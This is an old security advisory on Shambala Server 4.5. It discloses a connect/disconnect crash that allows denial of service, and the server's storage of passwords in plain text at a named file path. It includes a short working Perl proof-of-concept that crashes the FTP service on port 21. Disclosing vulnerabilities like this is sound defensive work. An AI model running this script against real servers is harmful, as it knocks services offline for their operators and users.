COMMAND
Shambala
SYSTEMS AFFECTED
Shambala Server 4.5
PROBLEM
'zillion' found following. Shambala is a low cost, multi-featured
FTP and Web server distributed by Evolvable Corporation. It is
used by numerous amateur and small office/home webmasters as an
economical way to launch and manage a website. A problem with
Shambala's mishandling of connections and disconnections would
potentially enable a (simple) denial-of-service attack. A second
observation is Shambala's storage of passwords in-the-clear on
the server: a major problem on Windows 95 and 98 platforms.
Vendor's blurb: "Shambala is an easy to use communications server
featuring the ability to serve and access web sites, ftp sites,
and chat rooms. Using Shambala, you can quickly create a web site
and host it from any PC. Shambala doesn't require NT and its
installation is non-invasive."
Shambala does not handle all connections correctly. It is
therefore possible to remotely crash the ftp server using a custom
script which automates the action of opening and closing a
connection to and from the server. The server crashes upon
disconnection and gives the following error:
Run-time error `20127`
invalid ConnectionID
A second problem is that Shambala stores all passwords in plain
text on the server:
c:\program files\shambala\passwords.txt (in our case)
This is not such a big deal on an NT server as permissions could
be set to deny access to this file. Because the server is also
shipped for Windows 95 and Windows 98 it could be possible for
any user to gain access to the file.
#!/usr/bin/perl
#
# This tool (tool not exploit!) crashes shambale server 4.5
# This is a stripped version of Guido Bakkers exploit code (bedankt)
#
use Getopt::Std;
use IO::Socket;
getopts('s:', \%args);
&usage if !defined($args{s});
$serv = $args{s};
$EOL="\015\012";
$remote = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => $args{s},
PeerPort => "ftp(21)",
) || die("Unable to connect to ftp port at $args{s}\n");
$remote->autoflush(1);
print "Done...\n";
exit; # remove this and the server will *NOT* crash
sub usage {die("\n$0 -s ipaddress\n\n");}
SOLUTION
It is recommended to disable the daemon until a fixed package is
released. The problem will be fixed in a next release.